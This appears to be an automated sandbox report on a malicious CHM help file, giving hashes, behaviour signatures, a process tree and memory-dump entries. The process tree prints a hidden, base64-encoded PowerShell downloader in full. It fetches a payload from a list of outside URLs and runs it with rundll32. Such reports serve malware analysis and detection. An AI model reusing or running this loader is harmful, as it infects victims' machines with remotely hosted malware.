Windows 7 deprecation

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Analysis

  • max time kernel
    44s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    21/04/2023, 14:11

General

  • Target

    README-pZS6503.chm

  • Size

    14KB

  • MD5

    ca6ad5ab3957aa103dd2cfd3168cc71b

  • SHA1

    342d359f3a1600083b4f73f9c1c773622caa3857

  • SHA256

    2733e6c3a7b6209f42f7f0cd9d56abafdc34f331d2ccbb5e4916a7ac4b16ac32

  • SHA512

    ebc284d1f58a359d134a6342b6d07dacdb6e30453d7708ee7aa963b39219cfd1ce073aa68ba206572418ce42c2b4d995c82c771f1f4c1674c937f7a774f3dad3

  • SSDEEP

    96:MV/veDPCotsVtkTwy/v0TKjmfC06fIhQK3od5o0TZ386X1pYw5aajiG:Mh7tkTwy/vB6KhIhQK3odpR86lS6j5

Score
1/10

Malware Config

Signatures

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\hh.exe
    "C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\README-pZS6503.chm
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1376
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAdwBlAGwAZgBhAHIAaQBzAG0AIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBoAG8AdABlAGwAbABvAHMAbQBpAHIAdABvAHMALgBjAG8AbQAvAHMAagBuAC8ANwB0AHcATABFADUAbwBEAG0AMwA3ACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAGIAMgBmAGYAUwBJAG8AMgBNAEUALABoAHQAdABwAHMAOgAvAC8AYwBpAHQAeQB0AGUAYwBoAC0AcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvADYATQBoADEAawAvAEEANwBxADEAYwBPAGsAVAAwAHgASQAsAGgAdAB0AHAAcwA6AC8ALwBlAHIAZwAtAGUAZwAuAGMAbwBtAC8AbwBjAG0AYgAvAFgANQBFAGUAegBiAEwAOABZAFAALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBkAFoATgBDAE0AeABxAGQAVABWAHMAWAAsAGgAdAB0AHAAcwA6AC8ALwBtAHIAYwByAGkAegBxAHUAbgBhAC4AYwBvAG0ALwBMADcAYwBjAE4ALwBiAHEAaQBmAFYAbAA1AFoAWABsADEASQAsAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAEgAZwBFAEcAUgBEAEQAUwA2AGEAOAAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBnAG0AYwBBAEEAaQBoAGYAVwByAGcAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAdAByAGEAZABpAHQAaQBvAG4AaQBzAG0AIABpAG4AIAAkAHcAZQBsAGYAYQByAGkAcwBtACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJAB0AHIAYQBkAGkAdABpAG8AbgBpAHMAbQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgBhAGwAbABvAG4AZQAuAEIAbwB1AGMAaABlAGUASQBuAGQAbwBnAGUAbgBpAGQAZQA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGIAYQBsAGwAbwBuAGUALgBCAG8AdQBjAGgAZQBlAEkAbgBkAG8AZwBlAG4AaQBkAGUAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ATgBvAEwAbwBnAG8AIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBHADgAQQBiAGcAQgBsAEEAQwA0AEEAUQBnAEIAdgBBAEgAVQBBAFkAdwBCAG8AQQBHAFUAQQBaAFEAQgBKAEEARwA0AEEAWgBBAEIAdgBBAEcAYwBBAFoAUQBCAHUAQQBHAGsAQQBaAEEAQgBsAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:572
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAdwBlAGwAZgBhAHIAaQBzAG0AIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBoAG8AdABlAGwAbABvAHMAbQBpAHIAdABvAHMALgBjAG8AbQAvAHMAagBuAC8ANwB0AHcATABFADUAbwBEAG0AMwA3ACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAGIAMgBmAGYAUwBJAG8AMgBNAEUALABoAHQAdABwAHMAOgAvAC8AYwBpAHQAeQB0AGUAYwBoAC0AcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvADYATQBoADEAawAvAEEANwBxADEAYwBPAGsAVAAwAHgASQAsAGgAdAB0AHAAcwA6AC8ALwBlAHIAZwAtAGUAZwAuAGMAbwBtAC8AbwBjAG0AYgAvAFgANQBFAGUAegBiAEwAOABZAFAALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBkAFoATgBDAE0AeABxAGQAVABWAHMAWAAsAGgAdAB0AHAAcwA6AC8ALwBtAHIAYwByAGkAegBxAHUAbgBhAC4AYwBvAG0ALwBMADcAYwBjAE4ALwBiAHEAaQBmAFYAbAA1AFoAWABsADEASQAsAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAEgAZwBFAEcAUgBEAEQAUwA2AGEAOAAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBnAG0AYwBBAEEAaQBoAGYAVwByAGcAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAdAByAGEAZABpAHQAaQBvAG4AaQBzAG0AIABpAG4AIAAkAHcAZQBsAGYAYQByAGkAcwBtACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJAB0AHIAYQBkAGkAdABpAG8AbgBpAHMAbQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgBhAGwAbABvAG4AZQAuAEIAbwB1AGMAaABlAGUASQBuAGQAbwBnAGUAbgBpAGQAZQA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGIAYQBsAGwAbwBuAGUALgBCAG8AdQBjAGgAZQBlAEkAbgBkAG8AZwBlAG4AaQBkAGUAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ATgBvAEwAbwBnAG8AIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBHADgAQQBiAGcAQgBsAEEAQwA0AEEAUQBnAEIAdgBBAEgAVQBBAFkAdwBCAG8AQQBHAFUAQQBaAFEAQgBKAEEARwA0AEEAWgBBAEIAdgBBAEcAYwBBAFoAUQBCAHUAQQBHAGsAQQBaAEEAQgBsAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:768

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/768-63-0x000000001B180000-0x000000001B462000-memory.dmp

    Filesize

    2.9MB

  • memory/768-64-0x0000000002290000-0x0000000002298000-memory.dmp

    Filesize

    32KB

  • memory/768-65-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB

  • memory/768-66-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB

  • memory/768-67-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB

  • memory/768-82-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB

  • memory/768-83-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB

  • memory/768-84-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB

  • memory/768-85-0x00000000026C0000-0x0000000002740000-memory.dmp

    Filesize

    512KB